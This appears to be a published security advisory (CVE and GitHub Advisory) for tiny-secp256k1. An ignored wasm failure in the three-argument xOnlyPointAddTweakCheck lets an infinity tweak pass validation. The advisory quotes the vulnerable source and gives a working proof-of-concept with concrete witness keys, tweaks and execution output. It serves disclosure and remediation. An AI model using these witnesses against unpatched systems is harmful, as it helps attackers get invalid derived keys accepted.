CVE-2026-107853
JSON

6.3medium

tiny-secp256k1: Stale buffer after ignored wasm failure accepts invalid infinity tweak

Severity
6.3medium CVSS:4.0 by GitHub_M
Exploit likelihood
0.46% (higher than 41% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-hj9c-qx2w-g7mh

Description

tiny-secp256k1 is a tiny secp256k1 native/JS wrapper. From 2.1.0 until 2.2.5 for tiny-secp256k1 and from 2.2.2 until 2.2.5 for @bitcoin-js/tiny-secp256k1-asmjs, the three-argument xOnlyPointAddTweakCheck path ignores the backend failure return from xOnlyPointAddTweak when a tweak produces the point at infinity. The shared X_ONLY_PUBLIC_KEY_INPUT buffer then still contains the original point, so a caller-controlled resultToCheck equal to that point can make the stale-buffer comparison return true even though no tweaked key exists. Protocols that rely on this helper to validate caller-controlled internal keys, tweaks, and comparison values can accept an invalid derived key. This issue is fixed in version 2.2.5.

Affected

Product or packageVersionsReported by
bitcoinjs tiny-secp256k1>= 2.1.0, < 2.2.5CVE List
@bitcoin-js iny-secp256k1-asmjs>= 2.2.2, < 2.2.5CVE List
tiny-secp256k1 (npm)from 2.1.0 before 2.2.5GitHub Advisory Database
@bitcoin-js/tiny-secp256k1-asmjs (npm)from 2.2.2 before 2.2.5GitHub Advisory Database

All scores

GitHub_M6.3medium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
GitHubmedium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Classification

CWE-252

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.

What each source says

CVE List

tiny-secp256k1 is a tiny secp256k1 native/JS wrapper. From 2.1.0 until 2.2.5 for tiny-secp256k1 and from 2.2.2 until 2.2.5 for @bitcoin-js/tiny-secp256k1-asmjs, the three-argument xOnlyPointAddTweakCheck path ignores the backend failure return from xOnlyPointAddTweak when a tweak produces the point at infinity. The shared X_ONLY_PUBLIC_KEY_INPUT buffer then still contains the original point, so a caller-controlled resultToCheck equal to that point can make the stale-buffer comparison return true even though no tweaked key exists. Protocols that rely on this helper to validate caller-controlled internal keys, tweaks, and comparison values can accept an invalid derived key. This issue is fixed in version 2.2.5.

GitHub Advisory Database
Summary

The three-argument xOnlyPointAddTweakCheck path ignores the wasm failure return and compares an unchanged input buffer. When the tweak result is the point at infinity, this stale-buffer comparison can return true for an invalid derivation.

Details

xOnlyPointAddTweakCheck in index.ts has two code paths. The path taken when the caller omits tweakParity discards the return value of the wasm call and compares whatever the shared input buffer holds.

try {
    X_ONLY_PUBLIC_KEY_INPUT.set(point);
    X_ONLY_PUBLIC_KEY_INPUT2.set(resultToCheck);
    TWEAK_INPUT.set(tweak);
    if (hasParity) {
      return wasm.xOnlyPointAddTweakCheck(tweakParity) === 1;
    } else {
      wasm.xOnlyPointAddTweak();
      const newKey = X_ONLY_PUBLIC_KEY_INPUT.slice(
        0,
        validate.X_ONLY_PUBLIC_KEY_SIZE
      );
      return compare(newKey, resultToCheck) === 0;
    }

x_only_point_add_tweak in lib.rs returns -1 and leaves X_ONLY_PUBLIC_KEY_INPUT untouched when the tweak addition fails.

pub extern "C" fn x_only_point_add_tweak() -> i32 {
    unsafe {
        let mut xonly_pk = jstry!(x_only_pubkey_parse(X_ONLY_PUBLIC_KEY_INPUT.as_ptr()), 0);
        let mut pubkey = PublicKey::new();
        if secp256k1_xonly_pubkey_tweak_add(
            get_context(),
            &mut pubkey,
            &xonly_pk,
            TWEAK_INPUT.as_ptr(),
        ) != 1
        {
            // infinity point
            return -1;
        }

The buffer still holds point, which the caller wrote immediately before the call. newKey therefore equals point, and the comparison against resultToCheck succeeds whenever the caller passes resultToCheck equal to point.

secp256k1_xonly_pubkey_tweak_add in upstream main_impl.h returns 0 only when the internal key fails to load or the tweak helper fails.

if (!secp256k1_xonly_pubkey_load(ctx, &pk, internal_pubkey)
    || !secp256k1_ec_pubkey_tweak_add_helper(&pk, tweak32)) {
    return 0;
}

The helper in secp256k1.c fails on scalar overflow or on an infinite result.

static int secp256k1_ec_pubkey_tweak_add_helper(secp256k1_ge *p, const unsigned char *tweak32) {
    secp256k1_scalar term;
    int overflow = 0;
    secp256k1_scalar_set_b32(&term, tweak32, &overflow);
    return !overflow && secp256k1_eckey_pubkey_tweak_add(p, &term);
}

validateTweak in validate.ts already rejects a tweak at or above the group order, so overflow is excluded and the only remaining cause is lift_x(point) + tweak * G reaching the point at infinity.

The parity path is correct for the same input. secp256k1_xonly_pubkey_tweak_add_check returns 0 in that case. The two documented forms of the same check disagree.

xOnlyPointAddTweak also disagrees with the check, returning null for the exact inputs the check accepts.

The condition is untested. schnorr.js skips every xOnlyPointAddTweakCheck assertion for the infinity vectors present in its own fixtures.

const res = secp256k1.xOnlyPointAddTweak(f.pubkey, f.tweak);
if (f.result === null) {
  t.same(res, f.result, `xOnlyPointAddTweak returns null when G pubkey and n - 1 tweak used`);
  continue;
}
PoC

Both witnesses are already present in the project fixtures at schnorr.json as the two vectors with a null result, and both pass every validator in validate.ts.

import * as secp256k1 from "tiny-secp256k1";

const hex = (s) => Uint8Array.from(Buffer.from(s, "hex"));

// x coordinate of G, and the tweak n - 1
const point = hex("79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798");
const tweak = hex("fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364140");

// lift_x(point) + tweak * G is the point at infinity, no tweaked key exists
console.log(secp256k1.xOnlyPointAddTweak(point, tweak));
// null

console.log(secp256k1.xOnlyPointAddTweakCheck(point, tweak, point, 0));
// false   correct, the parity form uses the C check

console.log(secp256k1.xOnlyPointAddTweakCheck(point, tweak, point));
// true    wrong, the three argument form compares point against itself

A second witness from the same fixture uses the x coordinate of 2 * G with tweak n - 2.

const point2 = hex("c6047f9441ed7d6d3045406e95c07cd85c778e4b8cef3ca7abac09b95c709ee5");
const tweak2 = hex("fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd036413f");
console.log(secp256k1.xOnlyPointAddTweakCheck(point2, tweak2, point2));   // true

Both were executed against the published secp256k1.wasm from npm 2.2.4 under wasmtime, driving the exports through the exact write, call, slice, zero sequence index.ts performs.

-- witness x(G), n-1
   xOnlyPointAddTweak(P, t)      = None
   check(P, t, P, parity=0)      = False
   check(P, t, P, parity=1)      = False
   check(P, t, P)   3-arg form   = True
   raw wasm return               = -1
   buffer after call unchanged   = True 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798

-- witness x(2G), n-2
   xOnlyPointAddTweak(P, t)      = None
   check(P, t, P, parity=0)      = False
   check(P, t, P, parity=1)      = False
   check(P, t, P)   3-arg form   = True
   raw wasm return               = -1
   buffer after call unchanged   = True c6047f9441ed7d6d3045406e95c07cd85c778e4b8cef3ca7abac09b95c709ee5

-- control, ordinary tweak 5 on x(G)
   xOnlyPointAddTweak            = (1, 'fff97bd5755eeea420453a14355235d382f6472f8568a18b2f057a1460297556')
   check 3-arg with correct result = True
   check 3-arg with wrong result   = False

The control confirms the three argument form is otherwise correct, so the defect is specific to the failure path.

An attacker generated witness follows the same construction with a hash derived tweak.

tweak = 2ae431167097f01e131d3e3fd000044e79eb64f5391d594ec311d4a56a38c1e3
point = d14530c85d0169da4e4be4642f2cdaad14fb0421b690df617d00366b5f1ca832
lift_x(point) + tweak * G = infinity
xOnlyPointAddTweakCheck(point, tweak, point) === true
Impact

The three-argument helper can return true for an internal key and tweak whose derived point is at infinity. Protocols that use this result to validate a derived output can accept an invalid key when the caller controls the point, tweak, and comparison value.

Affected versions
  • tiny-secp256k1: 2.1.0 through 2.2.4.
  • @bitcoin-js/tiny-secp256k1-asmjs: 2.2.2 through 2.2.4.

The xOnlyPointAddTweakCheck API first appears in tiny-secp256k1 2.1.0. Static inspection of the integrity-checked asm.js releases confirms the same ignored return value and unchanged-buffer path when the tweak result is infinity. The WASM reproduction above is not an asm.js runtime measurement.

Remediation

Upgrade tiny-secp256k1 and @bitcoin-js/tiny-secp256k1-asmjs, as applicable, to 2.2.5 or a later patched release. The path without tweakParity now checks the backend's failure result before reading and comparing the output buffer. A tweak that produces the point at infinity returns false.

References

References

Sources

SourceRecordLicence
CVE ListCVE-2026-107853 changed 2026-11-18CVE Terms of Use
GitHub Advisory DatabaseGHSA-hj9c-qx2w-g7mh changed 2026-11-19CC-BY-4.0
NVDCVE-2026-107853 changed 2026-11-18Public domain